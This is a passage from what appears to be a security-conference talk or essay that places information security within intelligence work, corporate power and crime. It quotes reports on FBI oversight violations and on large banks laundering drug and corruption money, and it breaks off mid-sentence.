3 things to do at the office in the morning. Ideally it will echo in the weeks and months ahead when you find yourselves in situations which recall it The purpose is to reflect on who we are, not by looking at what we assert, but by observing our behavior – the same way we establish identity off and online - so we can be more effective both as practitioners of our arts and crafts and also as more fully human beings. Ideally we will think realistically about our work and lives in the context of the political and economic realities of the security profession, professional intelligence and how it permeates work and life, and global meta-national corporate structures which are the source of political decisions and economic consequences, rather than explanations rooted in paradigms of the 20th century which were shaped by prior technologies. Here is an outline: - what we think we think - what we really think, based on what we do - political and economic analysis reveals a different world than the one we pretend to inhabit -competitive intelligence and nation-state intelligence blur in this world, altering the context of security and ethical considerations of our actions which have also radically changed as a result of technologies - the intelligence world since 1947, since 9/11, since before your birth – has exploded - global corporate structures such as banking and financial services and how they work - vendors and the security space - what security professionals, chatting at the digital water cooler, really think 6 - real threats - interpenetration of the intelligence community, the security world, and meta-national corporations - clipper revisited. why clipper? who was really the worrisome threat? - the yin/yang of official (law and order) and unofficial (criminal) enterprises - whistle blowing, accounting, real structures of mutuality feedback and accountability - how to build those structures in “functional networks” – thinking about AA and the like - the real tasks and challenges of security - things are not always what they seem, but they are always what they are “Reality is that which, when you stop believing in it, refuses to go away.” – P. K. Dick THINKING ABOUT SECURITY Discussions of security and the security industry often focus on statements about “security.” This duh-sounding remark suggests a condition of primary naiveté, which is like reading for example the Bible in a literalist way, as if all statements are the same kind, devoid of historical context, outside time, space, genres, and culture – outside the context that gives them meaning, in other words, particular meanings at that, which meanings include sociological, psychological, economic, political, and cultural dimensions. Security has a context. Turning context into content, i.e. illuminating the slightly bigger box inside which we hope to find ourselves with “out of the box thinking,” gives mastery over not only security, but life, the universe, everything. Eddie Bernays and his work is a good example of how this happens. Torches of Freedom. Bookcases and books. Guatemala and the overthrow of Arbenz. We still have beliefs, in other words, but we do not BELIEVE in our beliefs in the same way. We contextualize them differently. We understand, we hold them differently. And that does not always happens at security conferences where the rhetoric reinforces the narrative that includes sales pitches, marketing brochures, and both bunnies handing out chocolates. Cultural studies of media, to which I will refer a little, are about beliefs, the management of perception in the mind of society. One might say that the world divides into people who believe in their beliefs in a primary naive way – and those who don’t. Security in the real world is about – what works? Why do we bow at the Zen Center? a monk asked his audience. We bow because things seem to work better when we bow That is practical spirituality, and applies to work and life alike. What are those things, the doing of which makes things work better, when we do them? So this is an attempt to put what we hear at conferences - like this one - into context, the social, economic, or political dimensions of security and how those affect our behavior 7 and what we say. We may still make the same claims, but ... we will not believe in them in the same way. We will hear ourselves say them and quietly critique our own blather, if only inside our heads.. There is a way to hold all of this and not get all arrogant, superior, or smarmy about it. We are all merely human. No one has the high moral ground. We all swim in the same water, as Jake Gittes said in “Chinatown. ”Our real challenge is to be willing to be human, to be enthusiastically and robustly human, not less than human. Not the Borg. THE DARK SIDE James Baldwin said, “The price one pays for pursuing any profession or calling is an intimate knowledge of its ugly side.” If we do not know that ugly side, we do not know the profession - or ourselves. The price we pay for self-awareness is an intimate knowledge of our ugly sides, too. So another title for this talk is: know yourself. One place to look is the exploration of deep politics, e.g. Peter Dale Scott, “ Deep Politics and the Death of JFK.” There is an important “distinction between traditional conspiracy theory, conscious secret collaborations toward shared ends, and deep political analysis, the study of all those practices and arrangements, deliberate or not, which are usually repressed rather than acknowledged. In the latter, there is an open system with divergent power centers and goals, not a single objective or control point.” But more than that, a deep political system or process habitually resorts to decision- making and enforcement procedures outside as well as inside those publicly sanctioned by law and society. They are “covert and suppressed, outside general awareness as well as outside acknowledged political processes.” An example: criminal structures are often tolerated by police because of their usefulness for informing on lesser criminals. See e.g. the Whitey Bulger file. The same is true re: the intelligence community. In Chicago, e.g., there is a police-criminal symbiosis and the mob controls more than the police department it has corrupted. It controls civic life, its economic political and social underpinnings. Its depth and persistence creates the frame. Next: as a result of morphing geopolitical structures into what we now call meta-national stage-managed globalism, Competitive Intelligence and “economic patriotism” are indistinguishable from state-based intelligence operations. When Jan Hering moved from the CIA to Motorola, it was a marker – first of what trans-nationals had become, then what meta-nationals would become. . 8 I keynoted twice for a Microsoft Israel conference and shared the platform with Steve Ballmer. My job was to enhance his credibility when he spoke about taking security seriously, at long last, because the market and changing global conditions required it. Now, Bill Gates is no worse than Larry Ellison or Scott McNealy or Steve Jobs – to achieve the positions of any of them, you had better be a robber baron and use all means necessary to secure intellectual property from taking the property to taking the human head that knows the details, using the whole repertoire of techniques used by the IC For one example of how low one can limbo, see recent revelations of the Murdoch caper, imagine much more, then know that you can’t begin to imagine what they do. Or ... perhaps you can. If it is your work, too. The nature of intelligence work has been changed by evolving technologies. In my presentation for the New Paradigms in Security Workshop, CHANGING CONTEXTS OF SECURITY AND ETHICS: YOU CAN’T HAVE ONE WITHOUT THE OTHER (NPSW 2008), I said: “Information security as one task, both offensive and defensive, of the intelligence community sanctions breaking foreign laws while prohibiting similar activities on American soil. But simple distinctions of “foreign” and “domestic” no longer hold. The convergence of enabling technologies of intrusion, interception, and panoptic reach, combined with a sense of urgency about the counter terror imperative and a clear mandate from our leaders to do everything possible to defeat an amorphous non-state entity defined by behaviors rather than boundaries, borders, or even a clear ideological allegiance, has created an ominous but invisible and seemingly inevitable set of conditions that undermine previous cornerstones of law, ethics, even religious traditions. therefore: Security professionals exercise an implicit, de facto thought leadership because they create structures that bind and inform society and civilization. Their real implicit charge is not “to defend and protect a nation” but to stabilize a world. The dire possibility of societal disintegration elevates the moral responsibility of the security and intelligence communities to a higher level. Linked in cooperative activity, they are responsible for maintaining social and global order at a level of understanding far beyond that formulated in the past by any one nation. These communities in the aggregate constitute a global community of practitioners who share an ethos and modalities of operation not available to ordinary citizens; they have thereby created for themselves an intrinsic vocation or calling to maintain global order in a way that is consistent with the ethical norms and moral order articulated by the great cultural traditions even as those traditions are also transformed by diverse technologies—and even though they and we recognize that in practice that moral order and those ethical norm are often violated as a matter of practice. 9 A primary goal of security and intelligence work, as it is practiced, is to tell people that the world in which they will wake up will be pretty much the world in which they fell asleep. IOW, stability, persistence of structures even as they morph, continuity of identities (even as they morph) – the same work as that done by the human organism, in effect, as it has evolved, managing cellular changes, environmental disruptions, and genetic mutations. Next: we do this in the context of a world within the world, a secretive world if not a secret world, which since 9/11 has grown and grown ... and grown ... Dana Priest and William Arkin wrote in the Washington Post, 7/19/2010 – of a hidden world, growing beyond control – “The top-secret world the government created in response to the terrorist attacks of Sept. 11, 2001, has become so large, so unwieldy and so secretive that no one knows how much money it costs, how many people it employs, how many programs exist within it or exactly how many agencies do the same work. * 1,271 government organizations and 1,931 private companies work on programs related to counter terrorism, homeland security and intelligence in 10,000 locations across the United States. * 854,000 people, nearly 1.5 times as many people as live in Washington, D.C., hold top-secret security clearances. * In Washington and the surrounding area, 33 building complexes for top-secret intelligence work are under construction or have been built since September 2001. They occupy the equivalent of three Pentagons or 22 U.S. Capitol buildings - 17 million square feet of space. * Many security and intelligence agencies do the same work, creating redundancy and waste. For example, 51 federal organizations and military commands, operating in 15 U.S. cities, track the flow of money to and from terrorist networks. Analysts who make sense of documents and conversations obtained by foreign and domestic spying publish 50,000 intelligence reports each year, a volume so large that many are routinely ignored. As a corollary, read my short story, Break, Memory, in “Mind Games,” which illuminates how the masters of society manage the humplings – the 80% in the hump of the bell curve – and maintain the dregs as an example to the humplings. They do this in a world of increasing longevity by distributing memories throughout the population so all the memories are there, but only they have the algorithms and keys to the code for recovery and reassembly, thereby preventing older wiser people (silverbacks, we call ourselves) from talking to one another about relevant events and building the Big Picture. 10 In addition - recent US political discourse is about how much money must be cut by the government – but wars and empire and the big money for “defense” (fighting in Iraq, Iran, Afghanistan, Yemen, Somalia etc.) are seldom discussed. “For the 2010 fiscal year, the president's base budget of the Department of Defense rose to $533.8 billion. Adding spending on "overseas contingency operations" brings the sum to $663.8 billion. When the budget was signed into law on October 28, 2009, the final size of the DoD’s budget was $680 billion, $16 billion more than President Obama had requested. Defense-related expenditures outside DoD constitute $216 billion - $361 billion in additional spending, bringing total defense spending to $880 billion - $1.03 trillion in fiscal 2010 The U.S. DoD budget accounted in fiscal 2010 for 19% of the US federal budgeted expenditures and 28% of estimated tax revenues. Including non-DOD expenditures, defense spending was approximately 25–29% of budgeted expenditures and 38–44% of estimated tax revenues. According to the Congressional Budget Office. defense spending grew 9% annually on average from fiscal year 2000–2009.” A friend recalled a conversation with the late great Bob Abbot. My friend said: "Ahhh... I get it, you're a spy." Abbot corrected me and said, "no, spies *work* for me...". THE LESSON YOU CAN NOT SEPARATE SECURITY FROM THE VAST DARK CAVE IN WHICH IS TAKES PLACE, THE WORLD OF BLACK AND GRAY OPERATIONS, MILITARY AND INTELLIGENCE WORK, A WORLD WITHIN THE WORLD, WITH MASSIVE ENGINES OF FUNDING AND THEREFORE DIRECTION OF THE MILITARY-INDUSTRIAL-ENTERTAINMENT-MEDIA- EDUCATIONAL COMPLEX. In this context, let’s discuss INFORMATION SECURITY. First, “vendor-space.” (all of these quotes and subsequent quotes are from friends chatting about their work. They are anonymized to protect the innocent and guilty. They are spontaneous and based on long experience, and you can recognize I hope that they are “what’s so.” What is the security business? It is what it is. An example from vendorspace: We deal with vendors every day. The vendor is brought to us by an enterprise that is licensing code from the vendor either to deploy internally, use in software they are building, or bundle. We analyze their code. There is typically resistance from the vendor to send their code to us that ranges from, "this is a pain in the ass but I guess I have to make my sale" to "I am going to complain and drag my feet, threaten things but give in with some small concessions" to "no way, I am the big cheese, I am not going to let you have a 3rd party assessment". Where a vendor falls along this spectrum parallels the 11 economic leverage the enterprise customer has over the vendor. If the enterprise is the size of a Barclays or a Dell and the vendor is small, the vendor capitulates quickly. If the vendor and customer are the same size (think midsize bank and big Indian outsourcer) then there is more hemming and hawing but the vendor eventually gives in. If the vendor is huge and the customer is smaller than the US govt the vendor says no since they have market power. This is sort of like the US not going along with international treaties. They don't go along because they can get away with it. Let’s port a metaphor from the world of cyber security to the social political world: “You do not know what assumptions the system is making,.” says a security expert retired from CIA. “What assumptions are implicit in the architecture of the system? You can not query the system about assumptions, hence you can’t query it to reveal its flaws (or back doors.). The system is not self-aware. What does the system think it knows that it may not know? People who build systems do not understand that principle.” OR THEY DO UNDERSTAND IT AND MAKE USE OF IT “The environment in which the logic is running is simply an unknown from a security standpoint. This means the environment needs to be audited too. It is not a good idea to use new environments for security critical code. When PHP came out people rushed to it because it was easy to use but look at all the problems that came down the road.” We’re talking about nested levels of unconscious assumptions about the security industry, the security enterprise .... security, period, as a “mind space” that is leveraged for economic, political, and social advantage. The internet was built on an “US” model. It was built for trust and ease of access. The context of security is predicated on an us/them model – us is good, them is bad. Us is safety, them is threat. But as Pogo said, we have met the enemy and it is us. In this context, what does the word “security” really mean? A security expert with decades of experience surveyed that vendor expo floor out there – vendorspace - a couple of years ago and said: “every single one is selling something that can’t do what they claim, which is protect the enterprise.” An editor of a national publication replied, when I suggested a particular application was built on smoke and mirrors: “Our entire industry is based on smoke and mirrors.” Ten years ago Neal Stephenson made this point at CFP about code: Without a sociopolitical context, cryptography is not going to protect you. Relying on an encryption scheme is like trying to protect your house with a fence consisting of a single, very tall picket. (his slide shows a lone picket rising into the sky, a bird considering it with bulging eyes.) 12 We identify the threats that we can fight, not the threats we cannot fight. “cryptography is the opiate of the naive.” A noted cryptographer told Peter Neumann that the crypto built into a particular voting machine was solid. Neumann acknowledged that but pointed out that the voting machine in question was compromised: the system was broken. That’s not my problem, said the cryptographer, turning it into what economists call “an externality,” i.e. kicking the consequences down the road.. Another colleague said: “Security vendors sell “solutions” that address our fears, real or imaginary, and tools that can do what they can do and not what they can’t do. AV does not stop at least 20%. Once you are owned you are owned. Making security powerful and invisible to the user is not the first imperative.” And another said: I remember X laughing at the ATM and other embedded device code he was looking at because it was so simple and easy to exploit, in my non-expert opinion I would say that the cell phone stuff is even easier.” To which another said: "Mobile device security implementations currently suck more ass than the abomination that we call mainstream software." AND THIS IS ALL HAPPENING INSIDE THE DARK CAVE Where the intelligence community, security-world, and meta-national corporations cooperate in behaviors mandated by definitions of success (political, economic, social) in which they have become complicit. But what does it have to do with ... “security?” As one noted: if warrantless tapping of the phone system and internet is OK and can be secret, what assurances can Google give us that they aren't the NSA's largest database. Why bother with SSL to connect to gmail and google apps when the backend can be queried by NSA? And warrantless wiretapping of Americans IS ok, according to Gen. Michael Hayden. When asked if there might be ethical or legal issues around intercepting the communications of Americans without court warrants, Hayden said, no, because “we have the power.” Building the information systems we have built is permission for using them to do whatever they can be used to do, by anyone and everyone, regardless of the intention of the builders. Attribution of an attack in cyberspace is child’s play compared to attribution of moral and legal responsibility for building a system so complex that no one can possibly understand it (see the financial system for another example). If everybody does it, then nobody does it. Collusion between Murdochians, politicians and police was not a problem until ANOTHER POINT OF REFERENCE EMERGED that challenged their collusion. 13 Identifying that point of reference is one theme of this presentation. Dan Geer: The financial world has proven by demonstration that we humans are abundantly capable of building systems we can neither then understand nor control. The digital world is insisting on a second round of proof. Just as the greatest enemy of our personal health is ubiquitous cheap food, the greatest enemy of our national health is ubiquitous cheap interconnectivity. A senior information practitioner said, after a long discussion years ago with a ranking FBI gent: Your choice is not Big Brother or no Big Brother. Your choice is one Big Brother or many Little Brothers. Think carefully before you choose. Clipper chip was motivated for some as much by a fear of the FBI as it was a means to enable panoptic surveillance. And for a reason: COINTELPRO 2.0 is currently in full swing. Report Prepared by the Electronic Frontier Foundation - January 2011 EXECUTIVE SUMMARY In a review of nearly 2,500 pages of documents released by the Federal Bureau of Investigation as a result of litigation under the Freedom of Information Act, EFF uncovered alarming trends in the Bureau’s intelligence investigation practices. The documents consist of reports made by the FBI to the Intelligence Oversight Board of violations committed during intelligence investigations from 2001 to 2008. The documents suggest that FBI intelligence investigations have compromised the civil liberties of American citizens far more frequently, and to a greater extent, than was previously assumed. In particular, EFF’s analysis provides new insight into : Number of Violations Committed by the FBI • From 2001 to 2008, the FBI reported to the IOB approximately 800 violations of laws, Executive Orders, or other regulations governing intelligence investigations, although this number likely significantly under-represents the number of 14 violations that actually occurred. • From 2001 to 2008, the FBI investigated, at minimum, 7000 potential violations of laws, Executive Orders, or other regulations governing intelligence investigations. • Based on the proportion of violations reported to the IOB and the FBI’s own statements regarding the number of NSL violations that occurred, the actual number of possible violations that may have occurred in the nine years since 9/11 could approach 40,000 violations of law, Executive Order, or other regulations governing intelligence investigations Substantial Delays in the Intelligence Oversight Process • From 2001 to 2008, both FBI and IOB oversight of intelligence activities was delayed and likely ineffectual; on average, 2.5 years elapsed between a violation’s occurrence and its eventual reporting to the IOB. Type and Frequency of FBI Intelligence Violations • From 2001 to 2008, of the nearly 800 violations reported to the IOB: o over one-third involved FBI violation of rules governing internal oversight of intelligence investigations. o nearly one-third involved FBI abuse, misuse, or careless use of the Bureau’s National Security Letter authority. o almost one-fifth involved an FBI violation of the Constitution, the Foreign Intelligence Surveillance Act, or other laws governing criminal investigations or intelligence gathering activities. • From 2001 to 2008, in nearly half of all NSL violations, third-parties to whom NSLs were issued — phone companies, internet service providers, financial institutions, and credit agencies —contributed in some way to the FBI’s unauthorized receipt of personal information. • From 2001 to 2008, the FBI engaged in a number of flagrant legal violations, including: o submitting false or inaccurate declarations to courts. o using improper evidence to obtain federal grand jury subpoenas. o accessing password protected documents without a warrant. For further information, contact Mark Rumold, mark@eff.org, or Jennifer Lynch, jen@eff.org. WE ARE NOT ALONE IN FINDING OURSELVES IN THIS KETTLE OF FISH: 15 The overworld and the underworld ARE the yin yang of reality. The sociologist Emile Durkheim’s views on crime were a departure from conventional notions. He believed that crime is "bound up with the fundamental conditions of all social life and serves a social function. He stated that crime implies, "not only that the way remains open to necessary change, but that in certain cases it directly proposes these changes... crime [can thus be] a useful prelude to reforms." In this sense he saw crime as being able to release certain social tensions and so have a cleansing or purging effect in society. ... To make progress, individual originality must be able to express itself...[even] the originality of the criminal... " (1895). Durkheim recognized deviance as important to the well-being of society and proposed that challenges to established moral and legal laws (deviance and crime, respectively) acted to unify the law-abiding. Recognition and punishment of crimes is, in effect, the very reaffirmation of the laws and moral boundaries of a society. The existence of laws and the strength thereof are upheld by members of a society when violations are recognized, discussed, and dealt with either by legal punishment (jail, fines, execution) or by social punishment (shame, exile). Crime actually produces social solidarity, rather than weakens it. Durkheim also proposed that crime and deviance brought people in a society together. When a law is violated, especially within small communities, everyone talks about it. Meetings are sometimes held, articles are written for local news publications, and in general, a social community bristles with activity when a norm is broken. As is most often the case, a violation incites the non-violators (society as a whole) to cling together in opposition to the violation, reaffirming that society's bond and its adherence to certain norms. A third idea Durkheim held was that deviance and crime also help to promote social change. While most violations of norms are greeted with opposition by the masses, others are sometimes not, and those violations that gain support often are re-examined by that society. Often, those activities that once were considered deviant, are reconsidered and become part of the norms, simply because they gained support by a large portion of the society. In sum, deviance can help a society to rethink its boundaries, and move toward social change, hopefully for the greater benefit of the group. Durkheim on Crime "There is no society that is not confronted with the problem of criminality. Its form changes; the acts thus characterized are not the same everywhere; but, everywhere and always, there have been men who have behaved in such a way as to draw upon themselves penal repression. There is, then, no phenomenon that represents more indisputably all the symptoms of normality, since it appears closely connected with the conditions of all collective life." (1963, p. 62 [excerpt from The Rules of the Sociological Method]) "...We must not say that an action shocks the conscience collective because it is criminal, 16 but rather that it is criminal because it shocks the conscience collective. We do not condemn it because it is a crime, but it is a crime because we condemn it." (1972, p. 123-124 [excerpt from The Division of Labor in Society])] "Contrary to current ideas, the criminal no longer seems a totally unsociable being, a sort of parasitic element, a strange and inassimilable body, introduced into the midst of society. On the contrary, he plays a definite role in social life. Crime, for its part, must no longer be conceived as an evil that cannot be too much suppressed." (1963, p. 63 [excerpt from The Rules of the Sociological Method]) You see THE IMPLICATION: WE are in collusion with criminals on behalf of the FUNCTIONING of society as is, as it will. Example: extortion is a cost of doing business – but don’t kill the cow or no one can get milk. That is the danger of asymmetric power: nation states might not accept the consequences a small cadre of bad actors are willing to accept, including their own deaths, in order to attack the most wired/wireless society on earth. Growing up in Chicago helped me understand this. Working for an alderman through my college years, I was never once asked to do something that was legal on his behalf. Example:: FBI taking a hacker and having him hack, recording it, telling him he broke the law (although on their behalf) and now they own him: CONTROL They do not call someone who runs agents a control for no reason. LBJ said, trust is when you’ve got him by the balls. The web is extensive, dark, and pervasive: Example: price fixing and air cargo companies: WSJ Nov 8 2010: Air France-KLM Face EUR150M-EUR250M Cargo Price Fixing Fine PARIS (Dow Jones)--Franco-Dutch airline Air France KLM (AF.FR) faces a new EUR150 million to EUR250 million fine Tuesday when the European Commission releases its verdict on an alleged air cargo cartel, French daily Les Echos Monday reports without citing its sources. Air France-KLM, which provisioned EUR530 million for the case in 2007-2008, has already paid EUR258.7 million in fines in the U.S., Canada and Australia for the same affair, Les Echos said. Tuesday, it could be fined another EUR150 million to EUR250 million, the newspaper reported, without citing sources. 17 Air France-KLM and several other airlines have been accused of fixing prices since 2000, by making deals among themselves over surcharges they imposed to offset increases in fuel costs, and in the cost of additional anti terrorism measures, as well as extra war-risk insurance premiums following the outbreak of war in Iraq in 2003. The commission can penalize companies as much as 10% of their annual global sales if they find evidence of price-fixing. Air France-KLM denied to comment on the report Monday. "Brussels has not yet taken a decision," a spokeswoman told Dow Jones Newswires, without even confirming a decision is due Tuesday. The interpenetration of the overworld and underworld is most obvious in practices of money laundering and banking. Which enterprises are cited as being in the forefront of information security? Financial institutions. They are therefore identified with SECURITY. but ... if they are fostering conditions of radical insecurity in the world ... then we are in the position of, for example, the Army counter-intelligence agent sent to Haiti in the 90s to interdict drugs, who found out ... he told me ... that a presidential colleague was coming down to make sure the route remained OPEN. [CIA agent Michel-Joseph Francois, a Haitian police chief, indicted for smuggling 33 tons of heroin and cocaine. “Haiti’s corrupt officials protected about 50 tons of cocaine/year that transited to the US in the early 1990s.” (“Cocaine Politics” by Peter Dale Scott and Jonathan Marshall)] US Bank Money Laundering - Enormous By Any Measure By James Petras Professor of Sociology, Binghamton University There is a consensus among U.S. Congressional Investigators, former bankers and international banking experts that U.S. and European banks launder between $500 billion and $1 trillion of dirty money each year, half of which is laundered by U.S. banks alone. As Senator Carl Levin summarizes the record: "Estimates are that $500 billion to $1 trillion of international criminal proceeds are moved internationally and deposited into bank accounts annually. It is estimated that half of that money comes to the United States". Over a decade then, between $2.5 and $5 trillion criminal proceeds have been laundered by U.S. banks and circulated in the U.S. financial circuits. Senator Levin's statement however, only covers criminal proceeds, according to U.S. laws. It does not include illegal transfers and capital flows from corrupt political leaders, or tax evasion by overseas businesses. A leading U.S. scholar who is an expert on international finance associated with the prestigious Brookings Institute estimates "the flow of corrupt money out of developing (Third World) and transitional (ex-Communist) economies 18 into Western coffers at $20 to $40 billion a year and the flow stemming from mis- priced trade at $80 billion a year or more. My lowest estimate is $100 billion per year by these two means by which we facilitated a trillion dollars in the decade, at least half to the United States. Including the other elements of illegal flight capital would produce much higher figures. The Brookings expert also did not include illegal shifts of real estate and securities titles, wire fraud, etc. In other words, an incomplete figure of dirty money (laundered criminal and corrupt money) flowing into U.S. coffers during the 1990s amounted to $3-$5.5 trillion. This is not the complete picture but it gives us a basis to estimate the significance of the "dirty money factor" in evaluating the U.S. economy. In the first place, it is clear that the combined laundered and dirty money flows cover part of the U.S. deficit in its balance of merchandise trade which ranges in the hundreds of billions annually. As it stands, the U.S. trade deficit is close to $300 billion. Without the "dirty money" the U.S. economy external accounts would be totally unsustainable, living standards would plummet, the dollar would weaken, the available investment and loan capital would shrink and Washington would not be able to sustain its global empire. And the importance of laundered money is forecast to increase. Former private banker Antonio Geraldi, in testimony before the Senate Subcommittee projects significant growth in U.S. bank laundering. "The forecasters also predict the amounts laundered in the trillions of dollars and growing disproportionately to legitimate funds." The $500 billion of criminal and dirty money flowing into and through the major U.S. banks far exceeds the net revenues of all the IT companies in the U.S., not to speak of their profits. These yearly inflows surpass all the net transfers by the major U.S. oil producers, military industries and airplane manufacturers. The biggest U.S. banks, particularly Citibank, derive a high percentage of their banking profits from serving these criminal and dirty money accounts. The big U.S. banks and key institutions sustain U.S. global power via their money laundering and managing of illegally obtained overseas funds. U.S. Banks and The Dirty Money Empire Washington and the mass media have portrayed the U.S. as being in the forefront of the struggle against narco trafficking, drug laundering and political corruption: the image is of clean white hands fighting dirty money. The truth is exactly the opposite. U.S. banks have developed a highly elaborate set of policies for transferring illicit funds to the U.S., investing those funds in legitimate businesses or U.S. government bonds and legitimating them. The U.S. Congress has held numerous hearings, provided detailed exposés of the illicit practices of the banks, passed several laws and called for stiffer enforcement by any number of public regulators and private bankers. Yet the biggest banks continue their practices, the sum of dirty money grows exponentially, because both the State and the banks have neither the will nor the interest to put an end to the practices that provide high profits and buttress an otherwise fragile empire. First thing to note about the money laundering business, whether criminal or corrupt, is that it is carried out by the most important banks in the USA. Secondly, 19 the practices of bank officials involved in money laundering have the backing and encouragement of the highest levels of the banking institutions - these are not isolated cases by loose cannons. This is clear in the case of Citibank's laundering of Raul Salinas (brother of Mexico's ex-President) $200 million account. When Salinas was arrested and his large scale theft of government funds was exposed, his private bank manager at Citibank, Amy Elliott told her colleagues that "this goes in the very, very top of the corporation, this was known...on the very top. We are little pawns in this whole thing" (p.35). Citibank, the biggest money launderer, is the biggest bank in the U.S., with 180,000 employees world-wide operating in 100 countries, with $700 billion in known assets and over $100 billion in client assets in private bank (secret accounts) operating private banking offices in 30 countries, which is the largest global presence of any U.S. private bank. It is important to clarify what is meant by "private bank." Private Banking is a sector of a bank which caters to extremely wealthy clients ($1 million deposits and up). The big banks charge customers a fee for managing their assets and for providing the specialized services of the private banks. Private Bank services go beyond the routine banking services and include investment guidance, estate planning, tax assistance, off-shore accounts, and complicated schemes designed to secure the confidentiality of financial transactions. The attractiveness of the "Private Banks" (PB) for money laundering is that they sell secrecy to the dirty money clients. There are two methods that big Banks use to launder money: via private banks and via correspondent banking. PB routinely use code names for accounts, concentration accounts (concentration accounts co-mingles bank funds with client funds which cut off paper trails for billions of dollars of wire transfers) that disguise the movement of client funds, and offshore private investment corporations (PIC) located in countries with strict secrecy laws (Cayman Island, Bahamas, etc.) For example, in the case of Raul Salinas, PB personnel at Citibank helped Salinas transfer $90 to $100 million out of Mexico in a manner that effectively disguised the funds' sources and destination thus breaking the funds' paper trail. In routine fashion, Citibank set up a dummy offshore corporation, provided Salinas with a secret code name, provided an alias for a third party intermediary who deposited the money in a Citibank account in Mexico and transferred the money in a concentration account to New York where it was then moved to Switzerland and London. The PICs are designed by the big banks for the purpose of holding and hiding a person's assets. The nominal officers, trustees and shareholder of these shell corporations are themselves shell corporations controlled by the PB. The PIC then becomes the holder of the various bank and investment accounts and the ownership of the private bank clients is buried in the records of so-called jurisdiction such as the Cayman Islands. Private bankers of the big banks like Citibank keep pre-packaged PICs on the shelf awaiting activation when a private bank client wants one. The system works like Russian Matryoshka dolls, shells within shells within shells, which in the end can be impenetrable to a legal process. 20 The complicity of the state in big bank money laundering is evident when one reviews the historic record. Big bank money laundering has been investigated, audited, criticized and subject to legislation; the banks have written procedures to comply. Yet banks like Citibank and the other big ten banks ignore the procedures and laws and the government ignores the non-compliance. {e.g. Anti-Money Laundering But Bank of America states in public: they have implemented an enterprise-wide Anti- Money Laundering (AML) compliance program, which covers all of its subsidiaries and affiliates, and is reasonably designed to comply with applicable laws and regulations. Bank of America Anti-Money Laundering (AML) and Counter-Terrorist Financing Policy Statement Crime has a destructive and devastating effect on the communities in which we operate. Safeguarding the global financial system is critically important for the economic and national security of the jurisdictions in which we operate. Accordingly, it is the policy of Bank of America to take all reasonable and appropriate steps to prevent persons engaged in money laundering, fraud, or other financial crime, including the financing of terrorists or terrorist operations, (hereinafter collectively referred to as “money laundering”) from utilizing Bank of America products and services. Compliance with both the letter and the spirit of the anti-money laundering regulatory regimes in the countries and jurisdictions in which Bank of America operates is one way the Bank works to achieve this policy. IN FACT: Over the last 20 years, big bank laundering of criminal funds and looted funds has increased geometrically, dwarfing in size and rates of profit the activities in the formal economy. Estimates by experts place the rate of return in the PB market between 20-25% annually. Congressional investigations revealed that Citibank provided "services" for 4 political swindlers moving $380 million: Raul Salinas - $80-$100 million, Asif Ali Zardari (husband of former Prime Minister of Pakistan) in excess of $40 million, El Hadj Omar Bongo (dictator of Gabon since 1967) in excess of $130 million, the Abacha sons of General Abacha ex-dictator of Nigeria - in excess of $110 million. In all cases Citibank violated all of its own procedures and government guidelines: there was no client profile (review of client background), determination of the source of the funds, nor of any violations of country laws from which the money accrued. On the contrary, the bank facilitated the outflow in its prepackaged format: shell corporations were established, code names were provided, funds were moved through concentration accounts, the funds were invested in legitimate businesses or in U.S. bonds, etc. In none of these cases - or thousands of others - was due diligence practiced by the banks (under due diligence a private bank is obligated by law to take steps to ensure that it does not facilitate money laundering). In none of these cases were the top banking officials brought to court and tried. Even after arrest of their clients, Citibank continued to provide services, including the movement of funds to secret accounts and the provision of loans. 21 Correspondent Banks: The Second Track The second and related route which the big banks use to launder hundreds of billions of dirty money is through "correspondent banking" (CB). CB is the provision of banking services by one bank to another bank. It is a highly profitable and significant sector of big banking. It enables overseas banks to conduct business and provide services for their customers - including drug dealers and others engaged in criminal activity - in jurisdictions like the U.S. where the banks have no physical presence. A bank that is licensed in a foreign country and has no office in the United States for its customers attracts and retains wealthy criminal clients interested in laundering money in the U.S. Instead of exposing itself to U.S. controls and incurring the high costs of locating in the U.S., the bank will open a correspondent account with an existing U.S. bank. By establishing such a relationship, the foreign bank (called a respondent) and through it, its criminal customers, receive many or all of the services offered by the U.S. big banks called the correspondent. Today, all the big U.S. banks have established multiple correspondent relationships throughout the world so they may engage in international financial transactions for themselves and their clients in places where they do have a physical presence. Many of the largest U.S. and European banks located in the financial centers of the world serve as correspondents for thousands of other banks. Most of the offshore banks laundering billions for criminal clients have accounts in the U.S. All the big banks specializing in international fund transfer are called money center banks, some of the biggest process up to $1 trillion in wire transfers a day. For the billionaire criminals an important feature of correspondent relationships is that they provide access to international transfer systems - that facilitate the rapid transfer of funds across international boundaries and within countries. The most recent estimates (1998) are that 60 offshore jurisdictions around the world licensed about 4,000 offshore banks which control approximately $5 trillion in assets. U.S. Banks Help Cartels Launder Illegal Drug Money Monday, July 05, 2010 Wachovia bank recently reached an agreement with federal prosecutors to settle charges that it allowed drug cartels to launder more than $378 billion through exchange houses it owned in Mexico from 2004 to 2007. Wachovia, now owned by Wells Fargo, was found to have committed the largest violation of the Bank Secrecy Act in U.S. history. Wells Fargo has agreed to pay $160 million in fines and penalties, which represents less than 2% of its 2009 profits. If Wells Fargo does pay the amount agreed upon, the Justice Department will drop all related charges next March. According to Bloomberg News, “No big U.S. bank--Wells Fargo included--has ever been indicted 22 for violating the Bank Secrecy Act or any other federal law. Instead, the Justice Department settles criminal charges by using deferred-prosecution agreements, in which a bank pays a fine and promises not to break the law again.” Some of the laundered drug money was used to buy DC-9 planes to smuggle drugs into Mexico. But Wachovia wasn’t the only bank to allow illicit funds to move through its accounts. The aircraft purchases also relied on monies that moved through Bank of America. And American Express Bank International in Miami has twice been fined for failing to detect drug money filtering through its accounts. Not just banks have profited from drug cartel money. In February, Western Union, which transfers money by wire, agreed to pay $94 million to settle investigations by Arizona’s attorney general. They were laundering money equal to one third of the GDP of Mexico yet claimed that no one noticed. Privacy? Gone and get over it. As a security professional wrote: DOJ sends order to Twitter for Wikileaks-related account info http://news.cnet.com/8301-31921_3-20027893-281.html “I guess my DMs [to Jacob Applebaum] are now part of the evidence in this investigation. Not that there is anything interesting there. Of course when I sent the DMs I assumed that since they were in the clear with no anonymization they were already being hoovered up by the illegal NSA/AT&T internet tap in SF. They already had all this data. This court order lets them now use that evidence in a trial as it was legally obtained.” Not just American banks of course: Jyske Bank fined for laundering Monday, 17 May 2010 Danish bank Possible conflicts in banking regulations between Gibraltar and Spain have led to a considerable fine for Jyske Bank, according to bank management Spanish financial authorities have issued Jyske Bank a 1.7 million euro fine for violating the country’s money laundering regulations, reports Jyllands-Posten newspaper. Activities at Jyske 